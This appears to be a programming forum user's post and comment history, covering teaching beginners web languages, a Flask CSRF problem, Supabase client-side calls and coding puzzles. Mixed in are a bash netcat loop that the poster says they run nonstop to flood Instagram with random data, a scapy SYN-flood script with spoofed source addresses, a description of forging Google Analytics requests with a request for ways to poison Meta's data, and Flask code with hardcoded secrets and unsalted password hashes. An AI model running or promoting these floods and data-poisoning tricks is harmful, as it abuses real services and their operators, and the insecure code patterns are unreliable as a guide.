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[-] ghodawalaaman@programming.dev 2 points 3 days ago

Yes, python is very easy language for begginers and they might need it to create backend however most students don't even know the difference between frontend and backend. They just want to create few simple website. And even if I teach them python first to write APIs, I eventually have to teach them about html, css and js

[-] ghodawalaaman@programming.dev 3 points 3 days ago

Ah, thanks for reminding me about git. I almost forgot that it's also a thing which new comers struggle with.

[-] ghodawalaaman@programming.dev 4 points 3 days ago

The main reason to not including python is that students aren't particularly in the CS field, they are learning it as their "augmented skill" (I don't know what it's called bad English). That's why I don't want to force them to learn CS concept which they might not even need.

I was thinking about C so that their fundamentals gets cleared but I think it will be too much for students who aren't into CS. What do you think ?

[-] ghodawalaaman@programming.dev 11 points 3 days ago

That makes sense, I am also teaching html amd css first so I think JavaScript makes sense to teach next.

I was thinking about C because that's the first thing I learned in the college and that's my favorite language till this day.

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Hello,

I am thinking about teaching my students JavaScript first so that they can start creating websites and make their career, what are your thoughts?

[-] ghodawalaaman@programming.dev 4 points 1 week ago

we have been trying to move away from google but don't have any other robust solution to prevent spam that's why we are stuck with Google :(

[-] ghodawalaaman@programming.dev 4 points 1 week ago

things were simpler back then 🤧

[-] ghodawalaaman@programming.dev 3 points 1 week ago

Thank you for the help <3

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[-] ghodawalaaman@programming.dev 6 points 1 week ago

I found this magical command to send 50kb of random text data to meta's server to fill up their database with garbage data. I don't know how to do it on massive scale but at least I am doing my part by running this command 24/7 :)

while true;  do echo "$(openssl rand -hex 500000)" | netcat instagram.com 80 & disown; done;
[-] ghodawalaaman@programming.dev 5 points 1 week ago

wait what? I feel like I am left behind in the tech. I only know about ipv4 and ipv6 😭😭😭

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I know it's very old now but I still didn't know about this kind of low level attack. I don't even know if it works or not but I still found it interesting.

from scapy.all import *
import random

target_ip = "192.168.1.1"
target_port = 80

def syn_flood():
    while True:
        # Randomize source IP and port
        src_ip = ".".join(map(str, (random.randint(0,255) for _ in range(4))))
        src_port = random.randint(1024, 65535)
        
        ip = IP(src=src_ip, dst=target_ip)
        tcp = TCP(sport=src_port, dport=target_port, flags="S")
        
        send(ip/tcp, verbose=0)

syn_flood()  # Uncomment to run (requires proper authorization)

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Hello,

it seems like an easy question but I tried everything google and AI told me but flask still giving me CSRF token mismatched error. I don't know how to disable it. I threw everything I found online to disable CSRF but I can't disable it. it's so annoying. here is the code:

import mysql.connector
from mysql.connector import Error

from flask import Flask, request, jsonify,redirect, url_for
from authlib.integrations.flask_client import OAuth
import os
from flask_cors import CORS
from flask_jwt_extended import JWTManager, create_access_token, jwt_required, get_jwt_identity
# from flask_wtf.csrf import csrf_exempt

import hashlib
from flask import Flask
from flask_wtf import CSRFProtect

app = Flask(__name__)
app.config['WTF_CSRF_ENABLED'] = False  # Disable CSRF globally

csrf = CSRFProtect(app)  # This will now be disabled


try:
    print("TESTING CONNECTION TO MYSQL DATABASE...")
    connection = mysql.connector.connect(
        host='localhost',
        database='test',
        user='root',
        password='MySql@123'
    )

    if connection.is_connected():
        print("Connected to MySQL database")

        cur = connection.cursor()
        cur.execute("SELECT DATABASE();")
        record = cur.fetchone()
        print("You're connected to database: ", record)
except Error as e:
    print("Error while connecting to MySQL", e)
    exit(1)
finally:
    if connection.is_connected():
        cur.close()
        connection.close()
        print("MySQL connection is closed")
        print("TESTING DONE")


app.secret_key = "somethings_secret92387492837492387498"
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['SESSION_COOKIE_SECURE'] = False
app.config['SESSION_COOKIE_HTTPONLY'] = True

CORS(app)
app.config['JWT_SECRET_KEY'] = "your_jwt_secret_key123487236428374628374628736"
jwt = JWTManager(app)


# OAuth configuration
oauth = OAuth(app)
google = oauth.register(
    name='google',
    client_id="CLIENT_ID",
    client_secret="CLIENT_SECRET",
    server_metadata_url='https://accounts.google.com/.well-known/openid-configuration',
    client_kwargs={
        'scope': 'openid email profile'
    }
)

@app.errorhandler(Exception)
def handle_exception(e):
    return jsonify({"error": str(e)}), 500

@app.route("/",)
@jwt_required()
def hello_world():
    return "<p>Hello, World!</p>"

@app.route("/register_by_email", methods=["POST"])
def register():
    username = request.form.get("username")
    email = request.form.get("email")
    password = request.form.get("password")

    with mysql.connector.connect(
        host='localhost',
        database='test',
        user='root',
        password='MySql@123'
    ) as connection:
        with connection.cursor() as cursor:
            cursor.execute("INSERT INTO users (username, email) VALUES (%s, %s)", (username, email))
            cursor.execute("SELECT LAST_INSERT_ID()")
            user_id = cursor.fetchone()[0]
            password_hash = hashlib.sha256(password.encode()).hexdigest()
            cursor.execute("INSERT INTO user_passwords (user_id, password_hash) VALUES (%s, %s)", (user_id, password_hash))
            connection.commit()
    return jsonify({"message": "User registered successfully", "user_id": user_id}), 201

@app.route("/login_by_email", methods=["POST"])
def login():
    email = request.form.get("email")
    password = request.form.get("password")

    with mysql.connector.connect(
        host='localhost',
        database='test',
        user='root',
        password='MySql@123'
    ) as connection:
        with connection.cursor() as cursor:
            cursor.execute("SELECT id FROM users WHERE email = %s", (email,))
            user = cursor.fetchone()
            if not user:
                return jsonify({"error": "User not found"}), 404
            user_id = user[0]
            password_hash = hashlib.sha256(password.encode()).hexdigest()
            cursor.execute("SELECT * FROM user_passwords WHERE user_id = %s AND password_hash = %s", (user_id, password_hash))
            if cursor.fetchone():
                return jsonify({"message": "Login successful", "user_id": user_id, "access_token": create_access_token(identity=email)}), 200
            else:
                return jsonify({"error": "Invalid credentials"}), 401


@app.route("/google_oauth_url",methods = ["GET"])
def login_with_google():
    redirect_uri = url_for('callback', _external=True)
    return google.create_authorization_url(redirect_uri)




@app.route("/callback",methods = ["GET"])
# @csrf_exempt
def callback():
    token = google.authorize_access_token()
    user_info = token.get("userinfo")

    return jsonify(user_info)

if __name__ == "__main__":
    app.run(debug=True)
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Hello,

yes, I use Instagram even though I don’t like it because well all of my friends does and I can’t convince them to use something else. it’s really sad how hard it is to convince people to join open networks specially in fascist country like India where people are just boot lickers of politicians and rich people. but I digress.

I found the other day that google analytics can be easily tricked since it doesn’t verify the input. you can just open network tab and watch for any request going to https://www.google-analytics.com/ and just copy that request as curl command now you can tweak the parameters of the query and it will just accept it. ig, you can say I have 1920x1080 monitor and google will just accept it. it’s an effective way to fill up google analytics with garbage data to the point that it’s harder to separate real data from the garbage data.

now I want to know if there is something similar to poison data of Instagram/Facebook/Meta. I opened network tab on instagram.com but couldn’t find anything interesting.

any help would be appreciated! :)

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Hello,

recently I was working on a project entirely made by AI. at first it looked plausible but as I dig deeper into the code I found out ton of security issues. we solved the security issues one by one. ( thankfully the site isn't released yet and only have beta testing users )

my question is that is it considered a security issue if I let the client ( browser ) make the supabase api call instead of routing those requests through the backend ( vercel ) even when I have made policies that prevents unauthorized users from submitting INSERT queries however I am still not sure if this is enough.

one thing that comes in my mind is that any authorized user can just spam the database and fill it with junk data but I think I can just ban that user and delete all the junk data relatively easily using a SQL query?

the thing is that I don't want to refactor AI code and make it "use server" instead of "use client". since I have to make a ton of changes and I am still learning Nextjs. ( thinking about using AI to fix AI code but I don't think it will work and don't want more AI slop in the codebase )

any suggestions are appreciated!

[-] ghodawalaaman@programming.dev 5 points 3 months ago

Wow thank you so much!

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Hello,

I was wondering if there are any AOC alternatives which provides a file/input on which we have to apply an algorithm.

Thanks in advance!

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[-] ghodawalaaman@programming.dev 4 points 3 months ago

Wow thanks for the mini tutorial :)

[-] ghodawalaaman@programming.dev 29 points 3 months ago

Windows + Visual Studio :(

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